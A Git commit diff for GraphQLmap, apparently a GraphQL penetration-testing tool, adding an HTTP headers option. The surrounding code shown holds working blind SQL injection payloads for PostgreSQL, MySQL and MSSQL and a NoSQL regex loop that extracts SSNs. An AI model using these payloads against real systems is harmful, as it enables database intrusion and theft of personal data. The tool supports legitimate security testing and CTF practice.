Merge pull request #10 from waristea/add_header_1

Add option to add header to requests made
pull/13/head
Swissky 2020-02-04 10:21:17 +01:00 committed by GitHub
commit 1231334c74
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 51 additions and 40 deletions

View File

@ -31,13 +31,14 @@ $ python graphqlmap.py
| | | |
|_| |_|
Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]]
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]]
optional arguments:
-h, --help show this help message and exit
-u URL URL to query : example.com/graphql?query={}
-v [VERBOSITY] Enable verbosity
--method [METHOD] HTTP Method to use interact with /graphql endpoint
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
```
@ -45,6 +46,12 @@ optional arguments:
:warning: Examples are based on several CTF challenges from HIP2019.
### Connect to a graphql endpoint
```
python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'
```
### Dump a GraphQL schema
Use `dump` to dump the GraphQL schema, this function will automaticly populate the "autocomplete" with the found fields.

View File

@ -8,16 +8,16 @@ import sys
import time
from utils import *
def display_types(URL, method):
def display_types(URL, method, headers):
payload = "{__schema{types{name}}}"
r = requester(URL, method, payload)
r = requester(URL, method, payload, headers)
if r != None:
schema = r.json()
for names in schema['data']['__schema']['types']:
print(names)
def dump_schema(URL, method, graphversion):
def dump_schema(URL, method, graphversion, headers):
"""
Dump the GraphQL schema via Instrospection
@ -32,7 +32,7 @@ def dump_schema(URL, method, graphversion):
else:
payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"
r = requester(URL, method, payload)
r = requester(URL, method, payload, headers)
schema = r.json()
print("============= [SCHEMA] ===============")
@ -77,8 +77,8 @@ def dump_schema(URL, method, graphversion):
print("")
def exec_graphql(URL, method, query, only_length=0):
r = requester(URL, method, query)
def exec_graphql(URL, method, query, headers={}, only_length=0):
r = requester(URL, method, query, headers)
try:
graphql = r.json()
errors = graphql.get("errors")
@ -107,7 +107,7 @@ def exec_graphql(URL, method, query, only_length=0):
return "\033[91m[!]\033[0m {}".format(str(e))
def exec_advanced(URL, method, query):
def exec_advanced(URL, method, query, headers):
print(query)
# Allow a user to bruteforce character from a charset
@ -115,7 +115,7 @@ def exec_advanced(URL, method, query):
if "GRAPHQL_CHARSET" in query:
GRAPHQL_CHARSET = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"
for c in GRAPHQL_CHARSET:
length = exec_graphql(URL, method, query.replace("GRAPHQL_CHARSET", c), only_length=1)
length = exec_graphql(URL, method, query.replace("GRAPHQL_CHARSET", c), headers, only_length=1)
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c)))
@ -127,40 +127,40 @@ def exec_advanced(URL, method, query):
for i in range(int(match[0])):
pattern = "GRAPHQL_INCREMENT_" + match[0]
length = exec_graphql(URL, method, query.replace(pattern, str(i)), only_length=1)
length = exec_graphql(URL, method, query.replace(pattern, str(i)), headers, only_length=1)
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i))))
# Otherwise execute the query and display the JSON result
else:
print(exec_graphql(URL, method, query))
print(exec_graphql(URL, method, query, headers))
def blind_postgresql(URL, method):
def blind_postgresql(URL, method, headers):
query = input("Query > ")
payload = "1 AND pg_sleep(30) --"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
r = requester(URL, method, injected)
r = requester(URL, method, injected, headers)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
def blind_mysql(URL, method):
def blind_mysql(URL, method, headers):
query = input("Query > ")
payload = "'-SLEEP(30); #"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
r = requester(URL, method, injected)
r = requester(URL, method, injected, headers)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
def blind_mssql(URL, method):
def blind_mssql(URL, method, headers):
query = input("Query > ")
payload = "'; WAITFOR DELAY '00:00:30';"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
r = requester(URL, method, injected)
r = requester(URL, method, injected, headers)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
def blind_nosql(URL, method):
def blind_nosql(URL, method, headers):
# Query : {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
# Check : "5d089c51dcab2d0032fdd08d"
@ -173,7 +173,7 @@ def blind_nosql(URL, method):
while len(data) != data_size:
for c in charset:
injected = query.replace("BLIND_PLACEHOLDER", data + c)
r = requester(URL, method, injected)
r = requester(URL, method, injected, headers)
if check in r.text:
data += c

View File

@ -16,6 +16,7 @@ class GraphQLmap(object):
method = "POST"
args = None
url = None
headers = None
def __init__(self, args):
print(" _____ _ ____ _ ")
@ -26,10 +27,12 @@ class GraphQLmap(object):
print(" \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ ")
print(" | | | | ")
print(" |_| |_| ")
print(" "*30 + f"\033[1mAuthor\033[0m: {self.author} \033[1mVersion\033[0m: {self.version} ")
print(" "*30, end='')
print(f"\033[1mAuthor\033[0m: {self.author} \033[1mVersion\033[0m: {self.version} ")
self.args = args
self.url = args.url
self.method = args.method
self.headers = None if not args.headers else json.loads(args.headers)
while True:
query = input("GraphQLmap > ")
@ -41,28 +44,28 @@ class GraphQLmap(object):
display_help()
elif query == "debug":
display_types(self.url, self.method)
display_types(self.url, self.method, self.headers)
elif query == "dump_new":
dump_schema(self.url, self.method, 15)
dump_schema(self.url, self.method, 15, self.headers)
elif query == "dump_old":
dump_schema(self.url, self.method, 14)
dump_schema(self.url, self.method, 14, self.headers)
elif query == "nosqli":
blind_nosql(self.url, self.method)
blind_nosql(self.url, self.method, self.headers)
elif query == "postgresqli":
blind_postgresql(self.url, self.method)
blind_postgresql(self.url, self.method, self.headers)
elif query == "mysqli":
blind_mysql(self.url, self.method)
blind_mysql(self.url, self.method, self.headers)
elif query == "mssqli":
blind_mssql(self.url, self.method)
blind_mssql(self.url, self.method, self.headers)
else:
exec_advanced(args.url, self.method, query)
exec_advanced(args.url, self.method, query, self.headers)
if __name__ == "__main__":
readline.set_completer(auto_completer)

View File

@ -21,12 +21,12 @@ def jq(data):
return json.dumps(data, indent=4, sort_keys=True)
def requester(URL, method, payload):
def requester(URL, method, payload, headers=None):
if method == "POST":
data = {
"query": payload.replace("+", " ")
}
r = requests.post(URL, data=data, verify=False)
r = requests.post(URL, data=data, verify=False, headers=headers)
if r.status_code == 500:
print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m")
return None
@ -40,6 +40,7 @@ def parse_args():
parser.add_argument('-u', action ='store', dest='url', help="URL to query : example.com/graphql?query={}")
parser.add_argument('-v', action ='store', dest='verbosity', help="Enable verbosity", nargs='?', const=True)
parser.add_argument('--method', action ='store', dest='method', help="HTTP Method to use interact with /graphql endpoint", nargs='?', const=True, default="GET")
parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint", nargs='?', const=True, type=str)
results = parser.parse_args()
if results.url == None:
parser.print_help()